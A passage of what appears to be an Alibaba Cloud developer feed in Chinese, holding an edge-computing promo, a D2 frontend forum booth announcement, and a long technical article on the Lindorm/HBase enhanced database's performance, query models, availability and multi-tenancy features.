        此外,阿里云在边缘智能视频接入、边缘存储以及自动化运维等众多技术领域,不断寻求突破性技术进展。例如,陆续推出了云边统一的边缘K8s和容器解决方案,赋能开发者DevOps轻松落地,统一进行资源管理与调度、镜像分发、自助运维和云端监控,极大简化了运维工作复杂度。

        基于阿里云在边缘计算领域先发优势以及创新性产品技术部署,边缘节点服务(ENS)已实现终端接入延迟低至5毫秒,为用户带来综合成本30%的减少,运维效率50%的提升。

        作为整个边缘技术栈腰部力量,阿里云一直在积极推进边缘计算技术标准化建设与产业上下游创新合作。2018年12月,阿里云联合中国电子技术标准化研究院发布中国首份《边缘云计算技术及标准化白皮书》,明确定义未来“边缘云计算”的技术特点与行业标准。2019年9月,阿里云牵头编制《信息技术 云计算 边缘云计算通用技术要求(征求意见稿)》,用于指导“边缘云计算”技术和产品研发、服务交付,再次助推边缘云产业标准化建设。在产业合作方面,阿里云与各大运营商进行多项试点合作,推进5G移动边缘计算(MEC)、虚拟化vCDN网络架构、边缘智能等领域建设,携手运营商实现共赢。

        点击了解获奖的边缘节点服务ENS

        ]]>
        DataV、语雀、imgcook、菜鸟IoT等前沿产品齐聚 D2 ,现场展台等你来体验! Fri, 02 May 2025 09:39:04 +0800 第十四届D2前端技术论坛即将在杭州和达希尔顿逸林酒店举办!除了有干货满满、大佬云集的会场和 D2 之夜,我们还提供了多个线下互动展台,在这里你将直接体验来自阿里内外前沿的技术产品,内容丰富:覆盖前端智能化、数据可视化、3D游戏引擎等,形式多样:现场手绘实时生成数据大屏?跟随人体舞动的蚂蚁公仔?各种黑科技助力前端降本提效,还怕产品经理改需求?另外,展台不仅有相关的技术同学交流技术、答疑解惑,还准备了丰富的现场礼品等你领取,欢迎来体验! 先让我们跟着视频一睹为快吧!

        精彩视频点击此处查看

        数据可视化-DataV

        展台介绍:DataV 数据可视化产品是阿里云上一款专注于数据可视化交互界面搭建的技术产品。从2011年内部孵化第一款数据可视化组件库datav.js到搭建第一块双十一媒体数据大屏,DataV数据可视化团队一直希望通过技术工具让更多人体会到与数据互动的轻松和乐趣,真正享受到这个数据时代所带来的全新机会。
        DataV数据可视化产品从电商领域起步,致力于给更多场景带来数据可视化的技术体验。无论在零售、物流、电力、水利、环保、还是交通领域,通过交互式实时数据可视化视屏墙来帮助业务人员发现、诊断业务问题,越来越成为大数据解决方案中不可或缺的一环。DataV团队也在与更多领域的碰撞中,希望通过在三维引擎、可视化数据服务、搭建工具三个技术点的不断探索,去实现物理世界数字重现、数据智能可见可信、可视应用智能搭建三个目标,利用数据可视化技术为大数据建设的最后一公里铺平道路。
        礼品信息:蚂蚁公仔、贴纸等

        image.png

        前端智能化-imgcook

        展台介绍:imgcook专注以 Sketch、PSD、静态图片等形式的视觉稿作为输入,通过智能化技术一键生成可维护的前端代码,包含视图代码、数据字段绑定、组件代码、部分业务逻辑代码等。
        我们期望 imgcook (图像大厨) 能够利用智能化手段,成为一位 P5 级别的前端工程师,在对设计稿轻约束的前提下实现高度还原,释放前端生产力,助力前端与设计师高效协作,让您关注更具挑战性的事情!官网:https://www.imgcook.com
        礼品信息:淘宝购物袋、贴纸

        image.png

        云端知识库-语雀:

        展台介绍:语雀是一个专业的云端知识库,孵化自 蚂蚁金服 ,是 体验科技 理念下的一款创新产品,已是10万阿里员工进行文档编写、知识沉淀的标配。通过丰富的应用场景,结构化知识库及专业的编辑器,为个人,团队及企业提供与众不同的高效知识管理,打造轻松流畅的工作协同体验。
        语雀诞生伊始,只是希望能给工程师提供一个好用的工具用来写技术文档,达成「用Markdown写文档」这个小目标。但在产品研发的过程中,我们发现其实身边的每个人、每个团队、每个组织都有很多知识,但一直以来缺少一个好用的工具让这些知识不只是留在每个人的大脑或电脑里,还可以被记录、分享和交流。
        所以,带着这颗初心,我们觉得语雀不应止步于服务工程师,应该致力于为每个想表达所思所想的人提供一款顺手的工具,让知识能得以记录和传播,让人们可以在「语雀」中平等快乐地创作和交流知识,让再小的个体也可以拥有自己的知识库。
        礼品信息:语雀礼品及周边

        image.png

        前端数智化-菜鸟

        展台介绍:看2019双11逍遥子钦点的IoT设备,菜鸟如何利用IoT技术降低物流实操环节90%硬件成本。IoT如何助力数字孪生? 前端同学如何帮助新硬件快速落地?菜鸟展台带你领略物流行业的IoT。
        礼品信息:LEMO纪念记事本

        image.png

        Web3D引擎-Oasis 3D

        展台介绍:Oasis 3D 是一个面向前端工程师的3D 综合性解决方案,包含对移动端友好的 Web 3D 引擎和基于 ESC 架构的 3D 内容编辑器。目前应用场景涵盖阿里经济体内的H5 互动游戏、工业产品渲染、数据可视化等领域。Oasis 3D 的使命是把 3D 开发的荒漠变成绿洲,让每个前端工程师都能轻松开发专业的 3D 应用,让 Web 世界也能达到影视级的绚丽多姿。
        礼品信息:
        展台提供了两款由Oasis 3D开发的互动游戏:“太空跑酷”和“吸金大法”,供大家现场把玩,排名靠前的同学将有机会获得蚂蚁公仔等精美礼物。

        image.png

        Serveless-织云

        展台介绍:“织云”是一个可视化服务编排平台,通过可视化编排的方式快速将业务需求转换为技术需求,在几分钟内构建可调用接口。依托于集团的Faas平台,提供了强大的接口能力,确保接口按照预期执行。
        我们的目标是利用可视化编排的方式,沉淀已有的服务和能力,最终实现产品能够自主编排业务逻辑,将前端从复杂的逻辑代码中解放出来。
        礼品信息:技术贴纸及徽章小礼品

        image.png

        图灵

        展台介绍:图灵教育是国内计算机图书领域的高端品牌之一,策划出版了众多高质量的科技图书。
        礼品信息:现场参与图灵展位集赞互动,有机会免费领取图书。

        image.png

        阿里云开发者社区

        展台介绍:阿里云开发者社区汇聚了阿里巴巴集团技术专家和百万开发者用户,在微信、微博、钉钉、知乎等多个平台拥有官方账号@阿里技术 及数万成员规模的社群,面向全球开发者分享技术干货,帮助技术人不断成长进步。现场找到我们,拿独家技术干货合集,领取开发者社区周边礼品,加入前端技术钉群,与阿里前端专家切磋交流。
        礼品信息: 贴纸及社区周边小礼品

        image.png

        掘金

        展台介绍:掘⾦是⼀个帮助开发者成⻓的社区,是⼀款⾯向开发者的基于数据挖掘技术的个性化推荐引擎产品,它为每⼀位技术⼈才推荐有学习价值的个性化技术内容。最终链接技术内容、技术⼈才与技术服务企业。
        ⾃ 2015 年 8 ⽉上线 4 年以来,掘⾦有三端产品,每⽉服务超过 1500 万开发者阅读消费技术内容,移动应⽤超过 100 万⼈,并已经积累了超过 1.5 亿条技术内容兴趣数据。
        ⽤⼾可以通过掘⾦分享最新的技术内容、赞赏好内容、收录⾃⼰喜爱的内容到收藏集、关注感兴趣技术标签和专栏作者。⽽掘⾦会不断根据⽤⼾的⾏为数据为⽤⼾推荐个性化的内容,帮助开发者更⾼效的分享、学习和成⻓。为了更好的服务开发者,我们也推出了掘⾦⼩册、掘⾦翻译计划、掘⾦沸点等拳头产品。期待D2的参会者和掘友们来掘⾦展台会⾯!更多掘⾦周边正在等着你〜
        礼品信息:掘金周边、卫衣、鼠标垫、笔记本、贴纸、礼品卡

        image.png

        展台活动时间8:00~18:00,欢迎提前签到去现场体验,期待在D2与你相见!

        ]]>
        ​Lindorm/HBase增强版技术解密|每秒7亿次请求,阿里新一代数据库如何支撑? Fri, 02 May 2025 09:39:04 +0800 HBase用户福利:9.9元用半年HBase,学习测试两不误

        新用户9.9元即可使用6个月云数据库HBase,更有低至1元包年的入门规格供广大HBase爱好者学习研究,更多内容请参考链接

        前言

        2684亿!天猫双十一再次创造了历史。阿里CTO行癫自豪地向媒体宣布:不是任何一朵云都撑得住双11!阿里云和其他云都不一样,从第一行代码写起,构建了中国唯一自研的云操作系统飞天!

        而Lindorm(注:Lindorm是阿里内部HBase分支的别称,在阿里云上对外售卖的版本叫做HBase增强版,之后文中出现的HBase增强版和Lindorm都指同一个产品),就是云操作系统飞天中面向大数据存储处理的重要组成部分。Lindorm是基于HBase研发的、面向大数据领域的分布式NoSQL数据库,集大规模、高吞吐、快速灵活、实时混合能力于一身,面向海量数据场景提供世界领先的高性能、可跨域、多一致、多模型的混合存储处理能力。目前,Lindorm已经全面服务于阿里经济体中的大数据结构化、半结构化存储场景。

        2019年以来,Lindorm已经服务了包括淘宝、天猫、蚂蚁、菜鸟、妈妈、优酷、高德、大文娱等数十个BU,在今年的双十一中,Lindorm峰值请求达到了7.5亿次每秒,天吞吐22.9万亿次,平均响应时间低于3ms,整体存储的数据量达到了数百PB。

        这些数字的背后,凝聚了HBase&Lindorm团队多年以来的汗水和心血。Lindorm脱胎于HBase,是团队多年以来承载数百PB数据,亿级请求量,上千个业务后,在面对规模成本压力,以及HBase自身缺陷下,全面重构和引擎升级的全新产品。相比HBase,Lindorm无论是性能,功能还是可用性上,都有了巨大飞跃。本文将从功能、可用性、性能成本、服务生态等维度介绍Lindorm的核心能力与业务表现,最后分享部分我们正在进行中的一些项目。更多技术细节大家可关注大数据NoSQL圈子中各个细分主题的技术分享。

        极致优化,超强性能

        Lindorm比HBase在RPC、内存管理,缓存、日志写入等方面做了深度的优化,引入了众多新技术,大幅提升了读写性能,在相同硬件的情况下,吞吐可达到HBase的5倍以上,毛刺更是可以达到HBase的1/10。这些性能数据,并不是在实验室条件下产生的,而是在不改动任何参数的前提下,使用开源测试工具YCSB跑出来的成绩。我们把测试的工具和场景都公布在阿里云的帮助文件中,任何人都可以依照指南自己跑出一样的结果。
        image.png
        取得这么优异的性能的背后,是Lindorm中积攒多年的“黑科技”,下面,我们简单介绍下Lindorm内核中使用到的部分“黑科技”。

        Trie Index

        Lindorm 的文件LDFile(类似HBase中的HFile)是只读 B+ 树结构,其中文件索引是至关重要的数据结构。在 block cache 中有高优先级,需要尽量常驻内存。如果能降低文件索引所占空间大小,我们可以节省 block cache 中索引所需要的宝贵内存空间。或者在索引空间不变的情况下,增加索引密度,降低 data block 的大小,从而提高性能。而HBase中的索引block中存的是全量的Rowkey,而在一个已经排序好的文件中,很多Rowkey都是有共同前缀的。数据结构中的Trie (前缀树) 结构能够让共同前缀只存一份,避免重复存储带来的浪费。但是传统前缀树结构中,从一个节点到下一个节点的指针占用空间太多,整体而言得不偿失。这一情况有望用 Succinct Prefix Tree 来解决。SIGMOD2018年的最佳论文 Surf 中提出了一种用 Succinct Prefix Tree 来取代 bloom filter,并同时提供 range filtering 的功能。我们从这篇文章得到启发,用 Succinct Trie 来做 file block index。
        image.png
        我们在线上的多个业务中使用了Trie index实现的索引结构。结果发现,各个场景中,Trie index可以大大缩小索引的体积,最多可以压缩12倍的索引空间!节省的这些宝贵空间让内存Cache中能够存放更多的索引和数据文件,大大提高了请求的性能。
        image.png

        ZGC加持,百GB堆平均5ms暂停

        ZGC(Powerd by Dragonwell JDK)是下一代Pauseless GC算法的代表之一,其核心思想是Mutator利用内存读屏障(Read Barrier)识别指针变化,使得大部分的标记(Mark)与合并(Relocate)工作可以放在并发阶段执行。
        这样一项实验性技术,在Lindorm团队与AJDK团队的紧密合作下,进行了大量的改进与改造工作。使得ZGC在Lindorm这个场景上实现了生产级可用,
        主要工作包括:

        1. Lindorm内存自管理技术,数量级减少对象数与内存分配速率。(比如说阿里HBase团队贡献给社区的CCSMap)
        2. AJDK ZGC Page缓存机制优化(锁、Page缓存策略)
        3. AJDK ZGC 触发时机优化,ZGC无并发失败
          AJDK ZGC在Lindorm上稳定运行两个月,并顺利通过双十一大考。其JVM暂停时间稳定在5ms左右,最大暂停时间不超过8ms。ZGC大大改善了线上运行集群的RT与毛刺指标,平均RT优化15%~20%,P999 RT减少一倍。在今年双十一蚂蚁风控集群中,在ZGC的加持下,P999时间从12ms降低到了5ms。

        image.png
        注:图中的单位应该为us,平均GC在5ms

        LindormBlockingQueue

        image.png
        上图是HBase中的RegionServer从网络上读取RPC请求并分发到各个Handler上执行的流程。HBase中的RPC Reader从Socket上读取RPC请求放入BlockingQueue,Handler订阅这个Queue并执行请求。而这个BlockingQueue,HBase使用的是Java原生的JDK自带的LinkedBlockingQueue。LinkedBlockingQueue利用Lock与Condition保证线程安全与线程之间的同步,虽然经典易懂,但当吞吐增大时,这个queue会造成严重的性能瓶颈。因此在Lindorm中全新设计了LindormBlockingQueue,将元素维护在Slot数组中。维护head与tail指针,通过CAS操作对进队列进行读写操作,消除了临界区。并使用Cache Line Padding与脏读缓存加速,同时可定制多种等待策略(Spin/Yield/Block),避免队列为空或为满时,频繁进入Park状态。LindormBlockingQueue的性能非常突出,相比于原先的LinkedBlockingQueue性能提升4倍以上。
        image.png

        VersionBasedSynchronizer

        image.png
        LDLog是Lindorm中用于系统failover时进行数据恢复时的日志,以保障数据的原子性和可靠性。在每次数据写入时,都必须先写入LDLog。LDLog写入成功之后,才可以进行后续的写入memstore等操作。因此Lindorm中的Handler都必须等待WAL写入完成后再被唤醒以进行下一步操作,在高压条件下,无用唤醒会造成大量的CPU Context Switch造成性能下降。针对这个问题,Lindorm研发了基于版本的高并发多路线程同步机制(VersionBasedSynchronizer)来大幅优化上下文切换。VersionBasedSynchronizer的主要思路是让Handler的等待条件被Notifier感知,减少Notifier的唤醒压力。经过模块测试VersionBasedSynchronizer的效率是JDK自带的ObjectMonitor和J.U.C(java util concurrent包)的两倍以上。
        image.png

        全面无锁化

        HBase内核在关键路径上有大量的锁,在高并发场景下,这些锁都会造成线程争抢和性能下降。Lindorm内核对关键链路上的锁都做了无锁化处理,如MVCC,WAL模块中的锁。另外,HBase在运行过程中会产生的各种指标,如qps,rt,cache命中率等等。而在记录这些Metrics的“不起眼”操作中,也会有大量的锁。面对这样的问题,Lindorm借鉴了tcmalloc的思想,开发了LindormThreadCacheCounter,来解决Metrics的性能问题。
        image.png

        Handler协程化

        在高并发应用中,一个RPC请求的实现往往包含多个子模块,涉及到若干次IO。这些子模块的相互协作,系统的ContextSwitch相当频繁。ContextSwitch的优化是高并发系统绕不开的话题,各位高手都各显神通,业界有非常多的思想与实践。其中coroutine(协程)和SEDA(分阶段事件驱动)方案是我们着重考察的方案。基于工程代价,可维护性,代码可读性三个角度考虑,Lindorm选择了协程的方式进行异步化优化。我们利用了阿里JVM团队提供的Dragonwell JDK内置的Wisp2.0功能实现了HBase Handler的协程化,Wisp2.0开箱即用,有效地减少了系统的资源消耗,优化效果比较客观。

        全新Encoding算法

        从性能角度考虑,HBase通常需要将Meta信息装载进block cache。如果将block大小较小,Meta信息较多,会出现Meta无法完全装入Cache的情况, 性能下降。如果block大小较大,经过Encoding的block的顺序查询的性能会成为随机读的性能瓶颈。针对这一情况,Lindorm全新开发了Indexable Delta Encoding,在block内部也可以通过索引进行快速查询,seek性能有了较大提高。Indexable Delta Encoding原理如图所示:
        image.png
        通过Indexable Delta Encoding, HFile的随机seek性能相对于使用之前翻了一倍,以64K block为例,随机seek性能基本与不做encoding相近(其他encoding算法会有一定性能损失)。在全cache命中的随机Get场景下,相对于Diff encoding RT下降50%

        其他

        相比社区版HBase,Lindorm还有多达几十项的性能优化和重构,引入了众多新技术,由于篇幅有限,这里只能列举一部分,其他的核心技术,比如:

        丰富的查询模型,降低开发门槛

        原生的HBase只支持KV结构的查询,虽然简单,但是在面对各项业务的复杂需求时,显的有点力不从心。因此,在Lindorm中,我们针对不同业务的特点,研发了多种查询模型,通过更靠近场景的API和索引设计,降低开发门槛。

        WideColumn 模型(原生HBase API)

        WideColumn是一种与HBase完全一致的访问模型和数据结构,从而使得Lindrom能100%兼容HBase的API。用户可以通过Lindorm提供的高性能原生客户端中的WideColumn API访问Lindorm,也可以通过alihbase-connector这个插件,使用HBase客户端及API(无需任何代码改造)直接访问Lindorm。同时,Lindorm使用了轻客户端的设计,将大量数据路由、批量分发、超时、重试等逻辑下沉到服务端,并在网络传输层做了大量的优化,使得应用端的CPU消耗可以大大节省。像下表中,相比于HBase,使用Lindorm后的应用侧CPU使用效率提升60%,网络带宽效率提升25%。
        image.png
        注:表中的客户端CPU代表HBase/Lindorm客户端消耗的CPU资源,越小越好.
        在HBase原生API上,我们还独家支持了高性能二级索引,用户可以使用HBase原生API写入数据过程中,索引数据透明地写入索引表。在查询过程中,把可能全表扫的Scan + Filter大查询,变成可以先去查询索引表,大大提高了查询性能。关于高性能原生二级索引,大家可以参考高性能原生二级索引一文。

        TableService模型(SQL、二级索引)

        HBase中只支持Rowkey这一种索引方式,对于多字段查询时,通常效率低下。为此,用户需要维护多个表来满足不同场景的查询需求,这在一定程度上既增加了应用的开发复杂性,也不能很完美地保证数据一致性和写入效率。并且HBase中只提供了KV API,只能做Put、Get、Scan等简单API操作,也没有数据类型,所有的数据都必须用户自己转换和储存。对于习惯了SQL语言的开发者来说,入门的门槛非常高,而且容易出错。

        为了解决这一痛点,降低用户使用门槛,提高开发效率,在Lindorm中我们增加了TableService模型,其提供丰富的数据类型、结构化查询表达API,并原生支持SQL访问和全局二级索引,解决了众多的技术挑战,大幅降低普通用户的开发门槛。通过SQL和SQL like的API,用户可以方便地像使用关系数据库那样使用Lindorm。下面是一个Lindorm SQL的简单示例。

         -- 主表和索引DDL
        create table shop_item_relation (
            shop_id varchar,
            item_id varchar,
            status varchar
        constraint primary key(shop_id, item_id)) ; 
        
        create index idx1 on shop_item_relation (item_id) include (ALL);   -- 对第二列主键建索引,冗余所有列
        create index idx2 on shop_item_relation (shop_id, status) include (ALL);  -- 多列索引,冗余所有列
        
        -- 写入数据,会同步更新2个索引
        upsert into shop_item_relation values('shop1', 'item1',  'active');
        upsert into shop_item_relation values('shop1', 'item2',  'invalid');
        
        -- 根据WHERE子句自动选择合适的索引执行查询
        select * from shop_item_relation where item_id = 'item2';  -- 命中idx1
        select * from shop_item_relation where shop_id = 'shop1' and status = 'invalid'; -- 命中idx2

        相比于关系数据库的SQL,Lindorm不具备多行事务和复杂分析(如Join、Groupby)的能力,这也是两者之间的定位差异。

        相比于HBase上Phoenix组件提供的二级索引,Lindorm的二级索引在功能、性能、稳定性上远远超过Phoenix,下图是一个简单的性能对比。
        image.png
        image.png
        注:该模型已经在阿里云HBase增强版上内测,感兴趣的用户可以联系云HBase答疑钉钉号或者在阿里云上发起工单咨询。

        FeedStream模型

        注:该模型已经在阿里云HBase增强版上内测,感兴趣的用户可以联系云HBase答疑钉钉号或者在阿里云上发起工单咨询。
        现代互联网架构中,消息队列承担了非常重要的职责,可以极大的提升核心系统的性能和稳定性。其典型的应用场景有包括系统解耦,削峰限流,日志采集,最终一致保证,分发推送等等。

        常见的消息队列包括RabbitMq,Kafka以及RocketMq等等。这些数据库尽管从架构和使用方式和性能上略有不同,但其基本使用场景都相对接近。然而,传统的消息队列并非完美,其在消息推送,feed流等场景存在以下问题:

        • 存储:不适合长期保存数据,通常过期时间都在天级
        • 删除能力: 不支持删除指定数据entry
        • 查询能力:不支持较为复杂的查询和过滤条件
        • 一致性和性能难以同时保证:类似于Kafka之类的数据库更重吞吐,为了提高性能存在了某些状况下丢数据的可能,而事务处理能力较好的消息队列吞吐又较为受限。
        • Partition快速拓展能力:通常一个Topc下的partition数目都是固定,不支持快速扩展。
        • 物理队列/逻辑队列:通常只支持少量物理队列(如每个partition可以看成一个队列),而业务需要的在物理队列的基础上模拟出逻辑队列,如IM系统中为每个用户维护一个逻辑上的消息队列,用户往往需要很多额外的开发工作。
          针对上述需求,Lindorm推出了队列模型FeedStreamService,能够解决海量用户下的消息同步,设备通知,自增ID分配等问题。

        image.png
        FeedStream模型在今年手机淘宝消息系统中扮演了重要角色,解决了手机淘宝消息推送保序,幂等等难题。在今年双十一中,手淘的盖楼和回血大红包推送都有Lindorm的身影。手淘消息的推送中,峰值超过了100w/s,做到了分钟级推送全网用户。
        image.png
        注:该模型已经在阿里云HBase增强版上内测,感兴趣的用户可以联系云HBase答疑钉钉号或者在阿里云上发起工单咨询。

        全文索引模型

        虽然Lindorm中的TableService模型提供了数据类型和二级索引。但是,在面对各种复杂条件查询和全文索引的需求下,还是显得力不从心,而Solr和ES是优秀的全文搜索引擎。使用Lindorm+Solr/ES,可以最大限度发挥Lindorm和Solr/ES各自的优点,从而使得我们可以构建复杂的大数据存储和检索服务。Lindorm内置了外部索引同步组件,能够自动地将写入Lindorm的数据同步到外部索引组件如Solr或者ES中。这种模型非常适合需要保存大量数据,而查询条件的字段数据仅占原数据的一小部分,并且需要各种条件组合查询的业务,例如:

        • 常见物流业务场景,需要存储大量轨迹物流信息,并需根据多个字段任意组合查询条件
        • 交通监控业务场景,保存大量过车记录,同时会根据车辆信息任意条件组合检索出感兴趣的记录
        • 各种网站会员、商品信息检索场景,一般保存大量的商品/会员信息,并需要根据少量条件进行复杂且任意的查询,以满足网站用户任意搜索需求等。
          image.png

        全文索引模型已经在阿里云上线,支持Solr/ES外部索引。目前,索引的查询用户还需要直接查询Solr/ES再来反查Lindorm,后续我们会用TableService的语法把查询外部索引的过程包装起来,用户全程只需要和Lindorm交互,即可获得全文索引的能力。

        更多模型在路上

        除了上述这些模型,我们还会根据业务的需求和痛点,开发更多简单易用的模型,方便用户使用,降低使用门槛。像时序模型,图模型等,都已经在路上,敬请期待。

        零干预、秒恢复的高可用能力

        从一个婴儿成长为青年,阿里HBase摔过很多次,甚至头破血流,我们在客户的信任之下幸运的成长。在9年的阿里应用过程中,我们积累了大量的高可用技术,而这些技术,都应用到了HBase增强版中。

        MTTR优化

        HBase是参照Gooogle著名论文BigTable的开源实现,其中最核心特点是数据持久化存储于底层的分布式文件系统HDFS,通过HDFS对数据的多副本维护来保障整个系统的高可靠性,而HBase自身不需要去关心数据的多副本及其一致性,这有助于整体工程的简化,但也引入了"服务单点"的缺陷,即对于确定的数据的读写服务只有发生固定的某个节点服务器,这意味着当一个节点宕机后,数据需要通过重放Log恢复内存状态,并且重新派发给新的节点加载后,才能恢复服务。当集群规模较大时,HBase单点故障后恢复时间可能会达到10-20分钟,大规模集群宕机的恢复时间可能需要好几个小时!而在Lindorm内核中,我们对MTTR(平均故障恢复时间)做了一系列的优化,包括故障恢复时先上线region、并行replay、减少小文件产生等众多技术。将故障恢复速度提升10倍以上!基本上接近了HBase设计的理论值。
        ## 可调的多一致性
        在原来的HBase架构中,每个region只能在一个RegionServer中上线,如果这个region server宕机,region需要经历Re-assgin,WAL按region切分,WAL数据回放等步骤后,才能恢复读写。这个恢复时间可能需要数分钟,对于某些高要求的业务来说,这是一个无法解决的痛点。另外,虽然HBase中有主备同步,但故障下只能集群粒度的手动切换,并且主和备的数据只能做到最终一致性,而有一些业务只能接受强一致,HBase在这点上望尘莫及。

        Lindorm内部实现了一种基于Shared Log的一致性协议,通过分区多副本机制达到故障下的服务自动快速恢复的能力,完美适配了存储分离的架构, 利用同一套体系即可支持强一致语义,又可以选择在牺牲一致性的前提换取更佳的性能和可用性,实现多活,高可用等多种能力。
        在这套架构下,Lindorm拥有了以下几个一致性级别,用户可以根据自己的业务自由选择一致性级别:

        一致性等级(由低到高) 读写一致保障 可用性能力
        Eventual Consistency(EC) 数据写入后,可能需要一段时间(毫秒级)后才能被读到; 读写可规避任何hang及毛刺;宕机读写恢复10毫秒;
        Basic Consistency(BC) 数据写入后,绝大多数(99.99%+)下,可以立即被读到,小概率下需要一段时间(毫秒级)后可以被读到 读写不能规避hang及毛刺;宕机读写恢复10毫秒;
        TimeStamp Consistency(TC) 数据写入后,100%可以立即被读到 写可规避任何hang及毛刺;读有额外开销;宕机写恢复10毫秒;宕机读恢复30秒;
        Strong Consistency(SC) 数据写入后,100%可以立即被读到 N/A

        注:该功能暂时未在阿里云HBase增强版上对外开放

        客户端高可用切换

        虽然说目前HBase可以组成主备,但是目前市面上没有一个高效地客户端切换访问方案。HBase的客户端只能访问固定地址的HBase集群。如果主集群发生故障,用户需要停止HBase客户端,修改HBase的配置后重启,才能连接备集群访问。或者用户在业务侧必须设计一套复杂地访问逻辑来实现主备集群的访问。阿里HBase改造了HBase客户端,流量的切换发生在客户端内部,通过高可用的通道将切换命令发送给客户端,客户端会关闭旧的链接,打开与备集群的链接,然后重试请求。
        image.png
        如果需要使用此项功能,请参考高可用帮助文档

        云原生,更低使用成本

        Lindorm从立项之初就考虑到上云,各种设计也能尽量复用云上基础设施,为云的环境专门优化。比如在云上,我们除了支持云盘之外,我们还支持将数据存储在OSS这种低成本的对象存储中减少成本。我们还针对ECS部署做了不少优化,适配小内存规格机型,加强部署弹性,一切为了云原生,为了节省客户成本。

        ECS+云盘的极致弹性

        目前Lindorm在云上的版本HBase增强版均采用ECS+云盘部署(部分大客户可能采用本地盘),ECS+云盘部署的形态给Lindorm带来了极致的弹性。
        image.png
        最开始的时候,HBase在集团的部署均采用物理机的形式。每个业务上线前,都必须先规划好机器数量和磁盘大小。在物理机部署下,往往会遇到几个难以解决的问题:

        • 业务弹性难以满足:当遇到业务突发流量高峰或者异常请求时,很难在短时间内找到新的物理机扩容,
        • 存储和计算绑定,灵活性差:物理机上CPU和磁盘的比例都是一定的,但是每个业务的特点都不一样,采用一样的物理机,有一些业务计算资源不够,但存储过剩,而有些业务计算资源过剩,而存储瓶颈。特别是在HBase引入混合存储后,HDD和SSD的比例非常难确定,有些高要求的业务常常会把SSD用满而HDD有剩余,而一些海量的离线型业务SSD盘又无法利用上。
        • 运维压力大:使用物理机时,运维需要时刻注意物理机是否过保,是否有磁盘坏,网卡坏等硬件故障需要处理,物理机的报修是一个漫长的过程,同时需要停机,运维压力巨大。对于HBase这种海量存储业务来说,每天坏几块磁盘是非常正常的事情。

        而当Lindorm采用了ECS+云盘部署后,这些问题都迎刃而解。ECS提供了一个近似无限的资源池。当面对业务的紧急扩容时,我们只需在资源池中申请新的ECS拉起后,即可加入集群,时间在分钟级别之内,无惧业务流量高峰。配合云盘这样的存储计算分离架构。我们可以灵活地为各种业务分配不同的磁盘空间。当空间不够时,可以直接在线扩缩容磁盘。同时,运维再也不用考虑硬件故障,当ECS有故障时,ECS可以在另外一台宿主机上拉起,而云盘完全对上层屏蔽了坏盘的处理。极致的弹性同样带来了成本的优化。我们不需要为业务预留太多的资源,同时当业务的大促结束后,能够快速地缩容降低成本。
        image.png

        一体化冷热分离

        在海量大数据场景下,一张表中的部分业务数据随着时间的推移仅作为归档数据或者访问频率很低,同时这部分历史数据体量非常大,比如订单数据或者监控数据,降低这部分数据的存储成本将会极大的节省企业的成本。如何以极简的运维配置成本就能为企业极大降低存储成本,Lindorm冷热分离功能应运而生。Lindorm为冷数据提供新的存储介质,新的存储介质存储成本仅为高效云盘的1/3。

        Lindorm在同一张表里实现了数据的冷热分离,系统会自动根据用户设置的冷热分界线自动将表中的冷数据归档到冷存储中。在用户的访问方式上和普通表几乎没有任何差异,在查询的过程中,用户只需配置查询Hint或者TimeRange,系统根据条件自动地判断查询应该落在热数据区还是冷数据区。对用户而言始终是一张表,对用户几乎做到完全的透明。详细介绍请参考云栖社区文《面向海量数据的极致成本优化-云HBase的一体化冷热分离
        image.png

        ZSTD-V2,压缩比再提升100%

        早在两年前,我们就把集团内的存储压缩算法替换成了ZSTD,相比原来的SNAPPY算法,获得了额外25%的压缩收益。今年我们对此进一步优化,开发实现了新的ZSTD-v2算法,其对于小块数据的压缩,提出了使用预先采样数据进行训练字典,然后用字典进行加速的方法。我们利用了这一新的功能,在Lindorm构建LDFile的时候,先对数据进行采样训练,构建字典,然后在进行压缩。在不同业务的数据测试中,我们最高获得了超过原生ZSTD算法100%的压缩比,这意味着我们可以为客户再节省50%的存储费用!
        image.png
        关于HBase Serverless的介绍和使用,可以参考《[1元包月,阿里云HBase Serverless开启大数据学习与测试的新时代
        ](https://developer.aliyun.com/article/719206)》一文。

        面向大客户的安全和多租户能力

        Lindorm引擎内置了完整的用户名密码体系,提供多种级别的权限控制,并对每一次请求鉴权,防止未授权的数据访问,确保用户数据的访问安全。同时,针对企业级大客户的诉求,Lindorm内置了Group,Quota限制等多租户隔离功能,保证企业中各个业务在使用同一个HBase集群时不会被相互影响,安全高效地共享同一个大数据平台。

        用户和ACL体系

        Lindorm内核提供一套简单易用的用户认证和ACL体系。用户的认证只需要在配置中简单的填写用户名密码即可。用户的密码在服务器端非明文存储,并且在认证过程中不会明文传输密码,即使验证过程的密文被拦截,用以认证的通信内容不可重复使用,无法被伪造。
        Lindorm中有三个权限层级。Global,Namespace和Table。这三者是相互覆盖的关系。比如给user1赋予了Global的读写权限,则他就拥有了所有namespace下所有Table的读写权限。如果给user2赋予了Namespace1的读写权限,那么他会自动拥有Namespace1中所有表的读写权限。

        Group隔离

        当多个用户或者业务在使用同一个HBase集群时,往往会存在资源争抢的问题。一些重要的在线业务的读写,可能会被离线业务批量读写所影响。而Group功能,则是HBase增强版(Lindorm)提供的用来解决多租户隔离问题的功能。
        通过把RegionServer划分到不同的Group分组,每个分组上host不同的表,从而达到资源隔离的目的。
        image.png
        例如,在上图中,我们创建了一个Group1,把RegionServer1和RegionServer2划分到Group1中,创建了一个Group2,把RegionServer3和RegionServer4划分到Group2。同时,我们把Table1和Table2也移动到Group1分组。这样的话,Table1和Table2的所有region,都只会分配到Group1中的RegionServer1和RegionServer2这两台机器上。同样,属于Group2的Table3和Table4的Region在分配和balance过程中,也只会落在RegionServer3和RegionServer4上。因此,用户在请求这些表时,发往Table1、Table2的请求,只会由RegionServer1和RegionServer2服务,而发往Table3和Table4的请求,只会由RegionServer3和RegionServer4服务,从而达到资源隔离的目的。

        Quota限流

        Lindorm内核中内置了一套完整的Quota体系,来对各个用户的资源使用做限制。对于每一个请求,Lindorm内核都有精确的计算所消耗的CU(Capacity Unit),CU会以实际消耗的资源来计算。比如用户一个Scan请求,由于filter的存在,虽然返回的数据很少,但可能已经在RegionServer已经消耗大量的CPU和IO资源来过滤数据,这些真实资源的消耗,都会计算在CU里。在把Lindorm当做一个大数据平台使用时,企业管理员可以先给不同业务分配不同的用户,然后通过Quota系统限制某个用户每秒的读CU不能超过多少,或者总的CU不能超过多少,从而限制用户占用过多的资源,影响其他用户。同时,Quota限流也支持Namesapce级别和表级别限制。

        最后

